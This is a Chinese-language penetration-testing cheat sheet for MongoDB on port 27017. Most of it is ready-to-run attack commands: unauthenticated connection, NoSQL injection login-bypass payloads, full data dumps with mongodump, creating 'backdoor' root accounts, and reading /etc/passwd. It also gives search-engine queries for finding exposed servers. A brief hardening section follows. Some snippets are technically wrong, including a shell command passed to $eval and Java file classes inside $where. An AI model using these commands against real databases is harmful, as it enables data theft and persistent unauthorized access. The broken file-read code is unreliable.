---
title: "27017 - Mongodb"
weight: 27017
date: "2026-03-08T23:52:01+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **Mongodb** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

> ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

## 服务概述

MongoDB 是 NoSQL 数据库。未授权访问、注入攻击是主要安全问题。

**默认端口**: 27017 (TCP)  
**危害等级**: ⭐⭐⭐⭐⭐

---

## 信息收集

### 服务识别

```bash
# nmap 扫描
nmap -sV --script mongodb-info -p 27017 TARGET

# 使用 mongo 客户端
mongo --host TARGET --port 27017

# 如果连接成功，显示版本信息
```

### 未授权访问检测

```bash
# 尝试匿名连接
mongo --host TARGET --port 27017

# 如果成功，无需认证
# 可执行任意命令
```

---

## 常见攻击手法

### 1. 未授权访问

**原理**: MongoDB 默认无认证。

**利用**:
```bash
# 连接
mongo --host TARGET --port 27017

# 列出数据库
show dbs

# 使用数据库
use admin

# 列出集合
show collections

# 查询数据
db.users.find()

# 添加管理员
db.createUser({
  user: "attacker",
  pwd: "password123",
  roles: ["root"]
})
```

### 2. NoSQL 注入

**原理**: MongoDB 查询可被注入。

**利用**:
```javascript
// 认证绕过
// 原始查询：db.users.findOne({username: user, password: pass})
// 注入：username: {$gt: ""}, password: {$gt: ""}

// 盲注
// db.users.findOne({username: "admin", password: {$regex: "^a"}})
// 如果返回结果，密码以 a 开头

// 时间盲注
// 使用 $where 子句
db.users.find({$where: "sleep(10000) || username=='admin'"})
```

### 3. 数据窃取

**原理**: 未授权访问可导出所有数据。

**利用**:
```bash
# 导出数据库
mongodump --host TARGET --port 27017 --out /tmp/dump

# 导出集合
mongoexport --host TARGET --db admin --collection users --out users.json

# 查看所有数据
mongo --host TARGET --eval "db.getSiblingDB('admin').users.find()"
```

### 4. 权限提升

**原理**: 创建管理员账户。

**利用**:
```javascript
// 连接到 admin 数据库
use admin

// 创建管理员
db.createUser({
  user: "backdoor",
  pwd: "backdoor123",
  roles: ["root"]
})

// 使用新账户
mongo -u backdoor -p backdoor123 --authenticationDatabase admin
```

### 5. 文件读取

**原理**: MongoDB 可读取服务器文件。

**利用**:
```javascript
// 读取 /etc/passwd
use admin
db.runCommand({$eval: "cat /etc/passwd"})

// 或使用 $where
db.collection.find({$where: "var f = new java.io.File('/etc/passwd'); var scanner = new java.util.Scanner(f); while(scanner.hasNext()) { print(scanner.nextLine()); }"})
```

---

## 实战案例

### 案例 1: 未授权访问数据窃取

```bash
# 1. 连接
mongo --host TARGET --port 27017

# 2. 列出数据库
show dbs

# 3. 导出所有数据
mongodump --host TARGET --port 27017 --out /tmp/mongo_dump

# 4. 分析数据
# 查找敏感信息
```

### 案例 2: NoSQL 注入登录绕过

```javascript
// Web 应用登录
// POST /login
// {"username": {"$gt": ""}, "password": {"$gt": ""}}

// 或使用 curl
curl -X POST http://TARGET/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

// 登录成功，无需密码
```

### 案例 3: 创建后门账户

```bash
# 1. 连接
mongo --host TARGET --port 27017

# 2. 创建管理员
use admin
db.createUser({
  user: "attacker",
  pwd: "Password123!",
  roles: ["root"]
})

# 3. 后续使用
mongo -u attacker -p Password123! --authenticationDatabase admin
```

---

## 工具

### mongodump

```bash
# 导出数据库
mongodump --host TARGET --port 27017 --out /tmp/dump

# 导出特定数据库
mongodump --host TARGET --db admin --out /tmp/dump

# 认证导出
mongodump --host TARGET -u admin -p password --authenticationDatabase admin
```

### mongo

```bash
# 连接
mongo --host TARGET --port 27017

# 认证连接
mongo --host TARGET -u admin -p password --authenticationDatabase admin

# 执行命令
mongo --host TARGET --eval "db.getSiblingDB('admin').users.find()"
```

### nosqlmap

```bash
# 安装
git clone https://github.com/codingo/NoSQLMap
cd NoSQLMap
python2 NoSQLMap.py

# 功能：
# - 自动注入
# - 数据提取
# - 用户枚举
```

---

## 防御建议

### 服务器配置

```bash
# 1. 启用认证
# mongod.conf
security:
  authorization: enabled

# 2. 创建管理员
use admin
db.createUser({
  user: "admin",
  pwd: "StrongPassword123!",
  roles: ["root"]
})

# 3. 绑定本地地址
# mongod.conf
net:
  bindIp: 127.0.0.1

# 4. 启用 SSL
net:
  ssl:
    mode: requireSSL
    PEMKeyFile: /path/to/key.pem
```

### 网络隔离

```bash
# 防火墙规则
iptables -A INPUT -p tcp --dport 27017 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 27017 -j DROP
```

### 监控检测

```bash
# 1. 日志监控
# MongoDB 日志
# 认证失败记录

# 2. 流量分析
tshark -i eth0 -Y "mongo" -T fields -e mongo.query

# 3. 异常检测
# 大量查询
# 未知 IP 连接
# 管理命令执行
```

---

## 参考链接

- [HackTricks - 27017-mongodb](https://book.hacktricks.wiki/en/network-services-pentesting/27017-mongodb.html)

- [MongoDB 安全](https://docs.mongodb.com/manual/security/)

---

---

---

### 搜索引擎语法

#### FOFA

```bash
# FOFA 搜索语法
port="27017"
```

#### Shodan

```bash
# Shodan 搜索语法
port:27017
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:27017
```

---

## 📖 参考资料

- [HackTricks - 27017-mongodb](https://book.hacktricks.wiki/en/network-services-pentesting/27017-mongodb.html)

